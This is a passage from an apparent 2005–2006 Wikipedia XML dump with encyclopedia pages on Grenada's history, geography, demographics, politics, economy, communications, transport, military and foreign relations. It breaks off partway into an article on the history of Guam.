Partly because of the Caribs, Grenada remained uncolonized for more than 100 years after its discovery; early [[england|English]] efforts to settle the island were unsuccessful.  In [[1650]], a [[France|French]] company founded by [[Cardinal Richelieu]] purchased Grenada from the English and established a small settlement.  After several skirmishes with the Caribs, the French brought in reinforcements from [[Martinique]] and defeated the Caribs, the last of whom leapt into the sea rather than surrender.

The island remained under French control until its capture by the British in [[1762]], during the [[Seven Years' War]].  Grenada was formally ceded to the [[Kingdom of Great Britain]] by the [[Treaty of Paris (1763)]].  Although the French regained control in [[1779]], the island was restored to Britain with the [[Treaty of Versailles (1783)]].  Although Britain was hard pressed to overcome a pro-French revolt in [[1795]], Grenada remained British for the remainder of the [[colonialism|colonial]] period.

During the 18th century, Grenada's economy underwent an important transition.  Like much of the rest of the [[West Indies]], it was originally settled to cultivate [[sugar]], which was grown on estates using slave labor.  But natural disasters paved the way for the introduction of other crops.  In [[1782]], [[Sir Joseph Banks]], the botanical adviser to [[George III of the United Kingdom|King George III]], introduced [[nutmeg]] to Grenada.  The island's soil was ideal for growing the spice and because Grenada was a closer source of spices for Europe than the [[Dutch East Indies]], the island assumed a new importance to European traders.
[[Image:Grenada - St. George. c. 1895.jpg|thumb|400px|St. George, Grenada. 1890s]]

The collapse of the sugar estates and the introduction of nutmeg and [[cacao]] encouraged the development of smaller land holdings, and the island developed a land-owning [[yeoman]] farmer class.  Slavery was outlawed in [[1834]].  In [[1833]], Grenada became part of the [[British Windward Islands Administration]].  The governor of the Windward Islands administered the island for the rest of the colonial period.  In [[1958]], the Windward Islands Administration was dissolved, and Grenada joined the [[Federation of the West Indies]].  After that federation collapsed in [[1962]], the British Government tried to form a small federation out of its remaining dependencies in the Eastern Caribbean.

Following the failure of this second effort, the British and the islanders developed the concept of &quot;[[associated state]]hood&quot;.  Under the Associated Statehood Act in [[1967]] Grenada was granted full autonomy over its internal affairs in March of that year. Full independence was granted on [[February 7]], [[1974]].

After obtaining independence, Grenada adopted a modified [[Westminster parliamentary system]] based on the British model with a governor general appointed by and representing the British monarch (head of state) and a prime minister who is both leader of the majority party and the head of government.  [[Sir Eric Gairy]] was Grenada's first prime minister.

On [[March 13]], [[1979]], the [[New Jewel Movement]], a new joint endeavor for welfare, education, and liberation, ousted Gairy in a nearly bloodless coup and established a people's revolutionary government (PRG), headed by [[Maurice Bishop]] who became prime minister.  His [[Marxism-Leninism|Marxist-Leninist]] government established close ties with [[Cuba]], the [[Soviet Union]], and other [[communist bloc]] countries.

In October [[1983]], a power struggle within the government resulted in the arrest of Bishop at the order of his Deputy Prime Minister, [[Bernard Coard]].  After a breakdown in civil order, in which Coard's forces executed Bishop and members of his cabinet, a U.S.-Caribbean force landed on Grenada on [[October 25]] in an action called [[Operation Urgent Fury]]. This action was taken in response to an appeal obtained from the governor general and to a request for assistance from the [[Organisation of Eastern Caribbean States]], without consulting the island's head of state, [[Elizabeth II of the United Kingdom|Queen Elizabeth II]], [[Commonwealth of Nations|Commonwealth]] institutions or other usual diplomatic channels (as had been done in [[Anguilla]]).  Furthermore, United States government military strategists feared that Soviet use of the island would enable the Soviet Union to project tactical power over the entire Caribbean region.  U.S. citizens were evacuated, and the ''[[status quo]]'' was restored (though the previous culture has since been overlaid by U.S. influences).

An advisory council named by the governor general administered the country until general elections were held in December [[1984]].  The New National Party (NNP) led by [[Herbert Blaize]] won 14 out of 15 seats in elections and formed a democratic government.  Grenada's constitution had been suspended in 1979 by the PRG but it was restored after the 1984 elections.

The NNP continued in power until [[1989]] but with a reduced majority.  Five NNP parliamentary members, including two cabinet ministers, left the party in 1986-87 and formed the National Democratic Congress (NDC) which became the official opposition.

In August 1989, Prime Minister Blaize broke with the NNP to form another new party, The National Party (TNP), from the ranks of the NNP.  This split in the NNP resulted in the formation of a minority government until constitutionally scheduled elections in March [[1990]].  Prime Minister Blaize died in December 1989 and was succeeded as prime minister by Ben Jones until after the elections.

The NDC emerged from the 1990 elections as the strongest party, winning seven of the 15 available seats.  Nicholas Brathwaite added two TNP members and one member of the Grenada United Labor Party (GULP) to create a 10-seat majority coalition.  The governor general appointed him to be prime minister.

In parliamentary elections on [[June 20]], [[1995]], the NNP won eight seats and formed a government headed by Dr. Keith Mitchell.  The NNP maintained and affirmed its hold on power when it took all 15 parliamentary seats in the January [[1999]] elections.

On [[September 7]], [[2004]], Grenada was hit directly by Category 4 Hurricane Ivan. The hurricane destroyed about 85% of the structures on the island, including the prison and the prime minister's residence, killed 39 people, and destroyed most of the nutmeg crop, Grenada's main economic mainstay. Grenada's economy was set back several years by Hurricane Ivan's impact.  [[Hurricane Emily]] ravished the islands North part in June 2005.

==See also==
[[Past_and_present_anarchist_communities#Radicalism_in_Grenada.2C_1979_to_1983|Radicalism in Grenada 1979 to 1983]]

[[Category:History of Grenada| ]]

[[es:Historia de Granada]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Grenada</title>
    <id>12130</id>
    <revision>
      <id>26686906</id>
      <timestamp>2005-10-28T07:00:58Z</timestamp>
      <contributor>
        <username>Brian0918</username>
        <id>90640</id>
      </contributor>
      <comment>expanded using Library of Congress Public Domain text</comment>
      <text xml:space="preserve">[[Image:Grenada.png|thumb|300px|Grenada - NASA NLT Landsat 7 (Visible Color) Satellite Image]]
This article describes the '''[[geography]] of [[Grenada]]'''.

Grenada is a [[Caribbean Sea|Caribbean]] [[island]] (one of the [[Grenadines]]) between the Caribbean Sea and [[Atlantic Ocean]], north of [[Trinidad and Tobago]].  It is located at {{coor dm|12|07|N|61|40|W|}}.  There are no large inland bodies of water on the island, which consists entirely of the state of Grenada.  The coastline is 121 km long.

The Grenadan climate is tropical, tempered by northeast [[trade winds]].  The land is [[volcano|volcanic]] in origin with [[mountain]]s in the interior.  The lowest point is at [[sea level]], and the highest is 840 m on [[Mount Saint Catherine]].

[[Natural resource]]s include [[timber]], tropical [[fruit]] and deepwater [[harbor]]s.

Grenada and its largely uninhabited outlying territories are the most southerly of the Windward Islands. The Grenadine Islands chain consists of some 600 islets; those south of the Martinique Channel belong to Grenada, while those north of the channel are part of the nation of St. Vincent and the Grenadines. Located about 160 kilometers north of Venezuela, at approximately 12° north latitude and 61° west longitude, Grenada and its territories occupy a total area of 433 square kilometers. Grenada, known as the Spice Isle because of its production of nutmeg and mace, is the largest at 310 square kilometers, or about the size of Detroit. The island is oval in shape and framed by a jagged southern coastline; its maximum width is thirty-four kilometers, and its maximum length is nineteen kilometers. St. George's, the capital and the nation's most important harbor, is favorably situated near a lagoon on the southwestern coast. Of all the islands belonging to Grenada, only two are of consequence: Carriacou, with a population of a few thousand, and its neighbor Petit Martinique, roughly 40 kilometers northeast of Grenada and populated by some 700 inhabitants.

Part of the volcanic chain in the Lesser Antilles arc, Grenada and its possessions generally vary in elevation from under 300 meters to over 600 meters above sea level. Grenada is more rugged and densely foliated than its outlying possessions, but other geographical conditions are more similar. Grenada's landmass rises from a narrow, coastal plain in a generally north-south trending axis of ridges and narrow valleys. Mount St. Catherine is the highest peak at 840 meters.

Although many of the rocks and soils are of volcanic origin, the volcanic cones dotting Grenada are long dormant. Some of the drainage features on Grenada remain from its volcanic past. There are a few crater lakes, the largest of which is Grand Etang. The swift upper reaches of rivers, which occasionally overflow and cause flooding and landslides, generally cut deeply into the conic slopes. By contrast, many of the water courses in the lowlands tend to be sluggish and meandering.

The abundance of water is primarily caused by the tropical, wet climate. Yearly precipitation, largely generated by the warm and moisture-laden northeasterly trade winds, varies from more than 350 centimeters on the windward mountainsides to less than 150 centimeters in the lowlands. The greatest monthly totals are recorded throughout Grenada from June through November, the months when tropical storms and hurricanes are most likely to occur. Rainfall is less pronounced from December through May, when the equatorial low-pressure system moves south. Similarly, the highest humidities, usually close to 80 percent, are recorded during the rainy months, and values from 68 to 78 percent are registered during the drier period. Temperatures averaging 29°C are constant throughout the year, however, with slightly higher readings in the lowlands. Nevertheless, diurnal ranges within a 24-hour period are appreciable: between 26°C and 32°C during the day and between 19°C and 24°C at night. 

; Area:
:* Total: 340 [[Square kilometre|km&amp;sup2;]]
:* Land: 340 km&amp;sup2;
; Maritime claims:
:* Exclusive economic zone: 200 [[Nautical mile|nm]]
:* Territorial sea: 12 nm
; Land use:
:* Arable land: 15%
:* Permanent crops: 18%
:* Permanent pastures: 3%
:* Forests and woodland: 9%
:* Other: 55% (1993 est.)
; Irrigated land:
: NA km&amp;sup2;
; Natural hazards:
: Lies on edge of hurricane belt; hurricane season lasts from June to November
; Environment - current issues:
: NA
; Environment - international agreements:
: Party to: Biodiversity, Climate Change, Desertification, Endangered Species, [[Law of the Sea]], Ozone Layer Protection, Whaling
; Geography - note:
: The administration of the islands of the Grenadines group is divided between Saint Vincent and the Grenadines and Grenada

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''[[CIA World Factbook]]''

[[Category:Geography by country]]

[[es:Geografía de Granada]]
[[pt:Geografia de Granada]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Grenada</title>
    <id>12131</id>
    <revision>
      <id>35871181</id>
      <timestamp>2006-01-19T22:46:56Z</timestamp>
      <contributor>
        <username>Darwinek</username>
        <id>107928</id>
      </contributor>
      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">Though most of [[Grenada]]'s [[population]] is of [[Africa]]n descent,  there is some trace of the early [[Arawak]] and [[Carib]] Indians. A few East [[India]]ns and a small community of the descendants of early [[Europe]]an settlers reside in Grenada. About 50% of Grenada's population is under the age of 30. [[English language|English]] is the [[official language]]; only a few people still speak [[Antillean Creole|French patois]]. A more significant reminder of Grenada's historical link with France is the strength of the [[Roman Catholic Church]] to which about 60% of Grenadians belong. The [[Anglican Church]] is the largest Protestant denomination.

'''Population:'''
89,018 (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
38% (male 17,106; female 16,634)
&lt;br&gt;''15-64 years:''
58% (male 27,267; female 24,356)
&lt;br&gt;''65 years and over:''
4% (male 1,653; female 2,002) (2000 est.)

'''Population growth rate:'''
-0.36% (2000 est.)

'''[[Birth rate]]:'''
20.96 births/1,000 population (2000 est.)

'''[[Death]] rate:'''
8.02 deaths/1,000 population (2000 est.)

'''Net [[migration]] rate:'''
-16.54 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.02 male(s)/female
&lt;br&gt;''under 15 years:''
1.03 male(s)/female
&lt;br&gt;''15-64 years:''
1.12 male(s)/female
&lt;br&gt;''65 years and over:''
0.83 male(s)/female
&lt;br&gt;''total population:''
1.07 male(s)/female (2000 est.)

'''[[Infant mortality]] rate:'''
14.63 deaths/1,000 live births (2000 est.)

'''[[Life expectancy]] at birth:'''
&lt;br&gt;''total population:''
64.52 years
&lt;br&gt;''male:''
62.74 years
&lt;br&gt;''female:''
66.31 years (2000 est.)

'''Total [[fertility]] rate:'''
2.42 children born/woman (2000 est.)

'''[[Nationality]]:'''
&lt;br&gt;''noun:''
Grenadian(s)
&lt;br&gt;''adjective:''
Grenadian

'''Ethnic groups:'''
[[blacks]] 82% [[Mulatto]] 12% [[South Asia]]ns (East [[India]]ns)3% and [[Europe]]ans 2.9%, trace [[Arawak]]/[[Carib]] [[Amerindian]]

'''Religions:'''
[[Roman Catholicism|Roman Catholic]] 53%, [[Anglicanism|Anglican]] 13.8%, other [[Protestantism|Protestant]] 33.2%

'''[[Language]]s:'''
English (official), French patois

'''[[Literacy]]:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
98%
&lt;br&gt;''male:''
98%
&lt;br&gt;''female:''
98% (1970 est.)

[[Category:Demographics by country|Grenada]]
[[Category:Grenadan society]]

[[es:Demografía de Granada]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Grenada</title>
    <id>12132</id>
    <revision>
      <id>34547460</id>
      <timestamp>2006-01-09T23:45:10Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>De-CIA-zation, step 1</comment>
      <text xml:space="preserve">{{Politics of Grenada}}
'''Politics of Grenada''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[monarchy]], whereby the [[List of Prime Ministers of Grenada|Prime Minister]] is the [[head of government]], and of a pluriform multi-party system. [[Grenada]] is an independent country and [[Commonwealth Realm]]. It is a parliamentary democracy whose political and legal traditions closely follow those of the United Kingdom. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and parliament. 
Constitutional safeguards include freedom of speech, press, worship, movement, and association. Grenada is a member of the eastern Caribbean court system. The [[Judiciary]] is independent of the executive and the legislature.
Jurisprudence is based on English common law. 
[[Grenada]] is governed under a parliamentary system based on the British model; it has a governor general, a prime minister and a cabinet, and a bicameral Parliament with an elected House of Representatives and an appointed Senate.

Citizens enjoy a wide range of civil and political rights guaranteed by the constitution. Grenada's constitution provides citizens with the right to change their government peacefully. Citizens exercise this right through periodic, free, and fair elections held on the basis of universal suffrage.

Grenada has two significant political parties, both moderate: the [[New National Party of Grenada|New National Party]] (conservative) and the [[National_Democratic_Congress_(Grenada)|National Democratic Congress]] (liberal). Minor parties include the left-of-center Maurice Bishop Patriotic Movement (MBPM, organized by the pro-Bishop survivors of the October 1983 anti-Bishop coup) and the populist GULP of former Prime Minister Gairy.

At the [[Grenada parliamentary election, 2003|November 2003]] election, the NNP government of Prime Minister [[Keith Mitchell]] was narrowly re-elected.

Security in Grenada is maintained by the 650 members of the Royal Grenada Police Force (RGPF), which included an 80-member paramilitary special services unit (SSU) and a 30-member coast guard. The U.S. Army and the U.S. Coast Guard provide periodic training and material support for the SSU and the coast guard.

==Executive branch==
[[Image:ac.thequeen.jpg|thumb|right|150px|Queen Elizabeth II, Queen of Grenada]]
As head of state, [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] is represented in [[Grenada]] by a governor general who acts on the advice of the prime minister and the cabinet. 
The leader of the majority party serves as Prime Minister and head of government. The cabinet consists members, including the [[Prime Minister]] and ministers of executive departments. They answer politically to the House of Assembly.
The Governor General appoints the Chief Justice of the Supreme Court on the advice of the Prime Minister and the Leader of the Opposition. The Governor General appoints the other justices with the advice of a judicial commission. The Privy Council of the United Kingdom serves as the highest appellate court.
{{office-table}}
|Queen
|[[Queen Elizabeth II of the United Kingdom|Elizabeth II]] 
|
|[[6 February]] [[1952]]
|-
|[[List of Governors-General of Grenada|Governor-General]]
|[[Daniel Williams]]
|
|[[9 August]] [[1996]]
|-
|[[List of Prime Ministers of Grenada|Prime Minister]]
|[[Keith Mitchell]]
|[[New National Party of Grenada|NNP]]
|[[22 June]] [[1995]]
|}

==Legislative branch==
The [[Parliament of Grenada|Parliament]] has two [[bicameralism|chambers]]. The [[House of Representatives of Grenada|House of Representatives]] has 15 members, elected for a five year term in single-seat [[constituency|constituencies]]. The [[Senate of Grenada|Senate]] has 13 appointed members, 10 appointed by the government and three by the leader of the opposition).

==Political parties and elections==
{{elect|List of political parties in Grenada|Elections in Grenada|}}
{{Grenada legislative election, 2003}}

==Judicial branch==
West Indies Associate States Supreme Court (an associate judge resides in Grenada)

==Administrative divisions==
6 parishes and 1 dependency*; [[Carriacou]] and Petit Martinique*, Saint Andrew, Saint David, Saint George, Saint John, Saint Mark, Saint Patrick

==International organization participation==
ACP, C, [[Caricom]], [[Caribbean Development Bank|CDB]], ECLAC, FAO, G-77, IBRD, ICAO, ICFTU, ICRM, IDA, IFAD, IFC, IFRCS, ILO, IMF, IMO, [[Interpol]], IOC, ISO (subscriber), ITU, LAES, NAM, OAS, OECS, OPANAL, OPCW, UN, UNCTAD, UNESCO, UNIDO, UPU, WCL, WHO, WIPO, WToO, WTrO

[[Category:Politics of Grenada| ]]

[[es:Gobierno y política de Granada]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Grenada</title>
    <id>12133</id>
    <revision>
      <id>26886546</id>
      <timestamp>2005-10-30T15:45:21Z</timestamp>
      <contributor>
        <username>CaribDigita</username>
        <id>60840</id>
      </contributor>
      <comment>Cat: Grenada --&gt; Economy of Grenada</comment>
      <text xml:space="preserve">The economy of [[Grenada]] is based upon agricultural production ([[nutmeg]], [[mace (spice)|mace]], [[cocoa]], and [[banana]]s) and tourism. Agriculture accounts for over half of merchandise exports, and a large portion of the population is employed directly or indirectly in agriculture. Recently the performance of the agricultural sector has not been good. Grenada's banana exports declined markedly in volume and quality in [[1996]], and it is a question to what extent the country will remain a banana exporter. Tourism remains the key earner of foreign exchange.

Grenada is a member of the [[Eastern Caribbean Currency Union]] (ECCU). The [[Eastern Caribbean Central Bank]] (ECCB) issues a common currency for all members of the ECCU. The ECCB also manages monetary policy, and regulates and supervises commercial banking activities in its member countries.

Grenada also is a member of the [[Caribbean_Community|Caribbean Community (CARICOM)]]. Most goods can be imported into Grenada under open general license but some goods require specific licenses. Goods that are produced in the Eastern Caribbean receive additional protection; in May [[1991]], the CARICOM common external tariff (CET) was implemented. The CET aims to facilitate economic growth through intra-regional trade by offering duty-free trade among CARICOM members and duties on goods imported from outside CARICOM.

'''[[GDP]]:'''
[[purchasing power parity]] - $360 million ([[1999]] est.)

'''GDP - [[real growth rate]]:'''
5% (1999 est.)

'''GDP - [[per capita]]:'''
purchasing power parity - $3,700 (1999 est.)

'''GDP - composition by sector:'''
''agriculture:'' 9.7%
''industry:'' 15%
''services:'' 75.3% (1996 est.)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
''lowest 10%:'' NA%
''highest 10%:'' NA%

'''Inflation rate (consumer prices):'''
1.3% (1998)

'''Labor force:'''
42,300 (1996)

'''Labor force - by occupation:'''
services 62%, agriculture 24%, industry 14% (1999 est.)

'''Unemployment rate:'''
15% (1997)

'''Budget:'''
''revenues:'' $85.8 million
''expenditures:'' $102.1 million, including capital expenditures of $28 million (1997)

'''Industries:'''
food and beverages, textiles, light assembly operations, tourism, construction

'''Industrial production growth rate:'''
0.7% (1997 est.)

'''Electricity - production:'''
105 GWh (1998)

'''Electricity - production by source:'''
''fossil fuel:'' 100%
''hydro:'' 0%
''nuclear:'' 0%
''other:'' 0% (1998)

'''Electricity - consumption:'''
98 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
[[banana]]s, [[cocoa]], [[nutmeg]], [[mace]], [[citrus]], [[avocado]]s, root crops, [[sugarcane]], [[maize]], vegetables

'''Exports:'''
$26.8 million (1998)

'''Exports - commodities:'''
[[banana]]s, [[cocoa]], [[nutmeg]], fruit and vegetables, clothing, [[mace]]

'''Exports - partners:'''
[[Caricom]] 32.3%, [[United Kingdom]] 20%, [[United States]] 13%, [[Netherlands]] 8.8% (1991)

'''Imports:'''
$200 million (1998)

'''Imports - commodities:'''
food, manufactured goods, machinery, chemicals, fuel (1989)

'''Imports - partners:'''
[[United States]] 31.2%, [[Caricom]] 23.6%, [[United Kingdom]] 13.8%, [[Japan]] 7.1% (1991)

'''Debt - external:'''
$89.2 million (1998)

'''[[Economic aid]] - recipient:'''
$8.3 million (1995)

'''Currency:'''
1 [[East Caribbean dollar]] (EC$) = 100 cents

'''Exchange rates:'''
East Caribbean dollars (EC$) per US$1 - 2.7000 (fixed rate since 1976)

'''[[Fiscal year]]:'''
calendar year

==See also==
[[Grenada]]

{{WTO}}

[[Category:WTO members|Grenada]]
[[Category:Economy of Grenada|*]]
[[Category:Economies by country|Grenada]]

[[fr:Économie de Grenade]]
[[pt:Economia de Granada]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Grenada</title>
    <id>12134</id>
    <revision>
      <id>24376284</id>
      <timestamp>2005-09-30T05:01:12Z</timestamp>
      <contributor>
        <username>CaribDigita</username>
        <id>60840</id>
      </contributor>
      <comment>Recat Cat:Grenada -&gt; Cat:Communications in Grenada</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
33,500 (2002)

'''Telephones - mobile cellular:'''
7,600 (2002)

'''Telephone system:'''
automatic, island-wide telephone system
&lt;br&gt;''domestic:''
interisland VHF and UHF radiotelephone links
&lt;br&gt;''international:''
new SHF radiotelephone links to [[Trinidad and Tobago]] and [[Saint Vincent (island)|Saint Vincent]]; VHF and UHF radio links to [[Trinidad]]

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
[[Amplitude modulation|AM]] 2, [[FM]] 13, [[shortwave]] 0 (1998)

'''Radios:'''
57,000 (1997)

'''[[Television]] broadcast stations:'''
2 (1997)

'''Televisions:'''
33,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
14 (2002)

'''[[Internet Users]]:'''
15,000 (2002)

'''[[Country code]] (Top-level domain):''' GD

:''See also :'' [[Grenada]]

[[Category:Communications by country|Grenada]]
[[Category:Communications in Grenada|*]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Grenada</title>
    <id>12135</id>
    <revision>
      <id>24208248</id>
      <timestamp>2005-09-28T02:44:01Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">[[Grenada]] has no [[railway]]s or [[merchant marine]].

'''[[Highway]]s:'''
&lt;br&gt;''total:''
1,040 km
&lt;br&gt;''paved:''
638 km
&lt;br&gt;''unpaved:''
402 km (1996 est.)

'''[[Seaport]]s and [[harbour]]s:'''
[[Grenville]], [[Saint George's]]

'''[[Airport]]s:'''
3 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
3
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''914 to 1,523 m:''
1
&lt;br&gt;''under 914 m:''
1 (1999 est.)

[[Category:Transport in Grenada| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Grenada</title>
    <id>12136</id>
    <revision>
      <id>31719528</id>
      <timestamp>2005-12-17T10:44:36Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <text xml:space="preserve">'''Military branches:'''
Royal Grenada Police Force (includes Special Service Unit), Coast Guard

'''Military expenditures - dollar figure:'''
$NA

'''Military expenditures - percent of GDP:'''
NA%

Six days after Marxists seized control of Grenada on [[19 October]], [[1983]], the country was invaded by the United States forces along with six other Caribbean nations. Following the capture of the Marxists and their Cuban advisors, free elections were held the next year.

==References and Links==
*[[Grenada]]
[[Category:Government of Grenada]]
[[Category:Militaries|Grenada]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Grenada</title>
    <id>12137</id>
    <revision>
      <id>36616478</id>
      <timestamp>2006-01-25T08:04:28Z</timestamp>
      <contributor>
        <ip>68.236.151.75</ip>
      </contributor>
      <text xml:space="preserve">The [[United States]], [[Venezuela]], [[Cuba]], and the [[People's Republic of China]] have embassies in Grenada. The [[United Kingdom]] is represented by a resident commissioner (as opposed to the governor general who represents the British monarch). Grenada has been recognized by most members of the United Nations and maintains diplomatic missions in the [[United Kingdom]], the [[United States]], [[Venezuela]], and [[Canada]].

Grenada announced the resumption of diplomatic ties with the People's Republic of China on January 20, 2005.

Grenada is a member of the Caribbean Development Bank, [[CARICOM]], the Organization of Eastern Caribbean States (OECS), and the Commonwealth of Nations. It joined the [[United Nations]] in 1974, and the World Bank, the International Monetary Fund, and the Organization of American States in 1975. Grenada also is a member of the Eastern Caribbean's Regional Security System (RSS).

As a member of [[CARICOM]] Grenada strongly backed efforts by the United States to implement UN Security Council Resolution 940, designed to facilitate the departure of Haiti's de facto authorities from power. Grenada subsequently contributed personnel to the multinational force which restored the democratically elected government of [[Haiti]] in October 1994.

Prime Minister Mitchell joined President Clinton, in May 1997, for a meeting with 14 other Caribbean leaders during the first-ever U.S.-regional summit in [[Bridgetown, Barbados]]. The summit strengthened the basis for regional cooperation on justice and counter-narcotics issues, finance and development, and trade.

'''Disputes - international:'''
none

'''Illicit drugs:'''
small-scale [[cannabis]] cultivation; lesser transshipment point for [[marijuana]] and [[cocaine]] to US

:''See also :'' [[Grenada]]
[[category:Government of Grenada]]
[[Category:Foreign relations by country|Grenada, Foreign affairs of]]
[[Category:Politics of Grenada]]</text>
    </revision>
  </page>
  <page>
    <title>Guadaloupe</title>
    <id>12138</id>
    <revision>
      <id>15909844</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Guadeloupe]]
</text>
    </revision>
  </page>
  <page>
    <title>History of Guam</title>
    <id>12148</id>
    <revision>
      <id>42033950</id>
      <timestamp>2006-03-03T09:52:11Z</timestamp>
      <contributor>
        <username>Olihist</username>
        <id>571520</id>
      </contributor>
      <comment>added some wikilinks</comment>
      <text xml:space="preserve">The '''history of Guam''' involves phases including the early arrival of people known today as the ancient [[Chamorros]], the development of &quot;pre-contact&quot; society, [[Spain|Spanish]] [[colonization]], and the present [[United States|American]] rule of the island.  Guam's history of colonialism is the longest among the Pacific islands. 



==Guam prior to European contact==

===Migrations===
[[Image:Gadao_Guam.jpg|thumb|px300|Chief [[Gadao]] is featured in many legends about Guam before European colonization.]]
It is believed that [[Guam]] was first discovered by sea-faring people who migrated from [[Indonesia#Geography|southeastern Indonesia]] around 2000 BC.  Another theory points to the [[Philippines]] as a possible origin.  Most of what is known about Pre-Contact (&quot;Ancient&quot;) [[Chamorros]] comes from legends and myths, archaeological evidence, [[Jesuit]] [[missionary]] accounts, and observations from visiting scientists like [[Otto von Kotzebue]] and [[Louis de Freycinet]].

===Chamorro society===
Chamorro society roughly fell into three classes: matua (upper class), achaot (middle class), and mana'chang (lower class).  The matua were located in the coastal [[Villages of Guam|villages]], which meant they had the best access to fishing grounds, while the mana'chang were located in the interior of the island.  Matua and mana'chang rarely communicated with each other, and matua often used achaot as a go-between.  There were also &quot;makana&quot; (shamans), skilled in healing and medicine.  When Europeans first arrived on Guam, the Chamorros were noted for their fast sailing vessels and [[trade|traded]] with other islands of [[Micronesia]]. 

===Latte===
The &quot;[[Latte Stones|latte stones]]&quot; familiar to Guam residents and visitors alike were in fact a recent development in Pre-Contact Chamorro society.  The latte stone consists of a head and a base shaped out of limestone.  Like the [[Easter Island]] statues, there is plenty of speculation over how this was done by a society without machines or metal, but the generally accepted view is that the head and base were etched out of the ground by sharp adzes and picks (possibly with the use of fire), and carried to the assembly area by an elaborate system of ropes and logs.  The latte stone was used as a part of the raised foundation for a magalahi (matua chief) house, although they may have also been used for canoe sheds.         

Archaeologists using carbon-dating have broken Pre-Contact Guam (i.e. Chamorro) history into three periods: &quot;Pre-Latte&quot; (BC 2000? to AD 1) &quot;Transitional Pre-Latte&quot; (AD 1 to AD 1000), and &quot;Latte&quot; (AD 1000 to AD 1521).  Archaeological evidence also suggests that Chamorro society was on the verge of another transition phase by 1521, as latte stones became bigger.  Assuming the stones were used for chiefly houses, it can be argued that Chamorro society was becoming more stratified, either from population growth or the arrival of new people.  The theory remains tenuous, however, due to lack of evidence, but if proven correct, will further support the idea that Pre-Contact Chamorros lived in a vibrant and dynamic environment.

==The Spanish Era==
===&quot;Discovery&quot;===
[[Image:Svitores Guam.jpg|thumb|px200|Engraving showing the death of Padre [[San Vitores]], the first missionary to Guam.]]
On [[March 6]], [[1521]] [[Ferdinand Magellan]] came across Guam on his [[expedition]] to [[circumnavigation|circumnavigate]] around the globe. He and his crewmen were greeted by the [[Chamorros]], in small fast vessels called &quot;flying [[proa|proas]]&quot;.  They welcomed the Europeans with [[food]] and drink. According to Chamorro folk history, the Chamorros expected to be paid in return while the Europeans saw the supplies given to them as gifts. When &amp;mdash; having not been recompensed for the food and hospitality &amp;mdash; the Chamorros stole upon Magellan's ships taking [[iron]] from the decks.  In response, the Spaniards killed several islanders and burned their homes. Magellan and his men left Guam and continued their journey to the spice islands. Angry at the 'larcenous' natives, he first dubbed Guam and the rest of the [[Mariana Islands]] &quot;Las Islas de los Ladrones&quot;, (The Islands of the Thieves), but in [[1668]] the first [[missionary]] to Guam, Padre [[San Vitores]], changed the name to &quot;Las Marianas&quot; after [[Mariana of Austria]], widow of Spain's [[Philip IV of Spain|Philip IV]].

===Colonization===
Within decades, Guam was [[colony|colonized]] by [[Spain]].  It was an important stop along the Spanish route between the [[Philippines]] and [[Mexico]] for trade galleons and whaling ships.  The [[Indigenous peoples| original inhabitant population]] dwindled significantly as a result of [[disease]] and [[rebellion]] against the Spaniards. Much of the adult male population was killed.  Still, a population of those who identified themselves as Chamorros remained, though the [[culture]] and bloodlines began to incorporate Spanish and other European [[religion]], [[Convention (philosophy and social sciences)|custom]]s, and [[language]].

==The American Era==

===Capture of Guam===
[[Image:Piti 1900.jpg|thumb|350px|The [[Villages of Guam|village]] of [[Piti, Guam|Piti]] shortly after Guam's capture by the Americans.
]]
On [[June 21]], [[1898]], Guam was captured by the [[United States]] in the bloodless [[Battle of Guam (1898)|Battle of Guam]] during the [[Spanish-American War]]. By the [[Treaty of Paris (1898)|Treaty of Paris]], Spain officially ceded Guam to the United States.  Since then, Guam served as a way station for American ships traveling to and from the [[Philippines]].  

The 1910 [[Catholic Encyclopedia]] wrote, &quot;Guam is 32 miles long, from 3 to 10 miles broad, and about 200 sq. miles in area. Of its total population of 11,490 (11,159 natives), [[Agana]], the capital, contains about 7,000. Possessing a good harbour, the island serves as a United States [[Apra Harbor| naval station]], the naval commandant acting also as [[governor]]. The products of the island are [[maize]], [[copra]], [[rice]], [[sugar]], and valuable [[timber]].&quot;

===World War II===
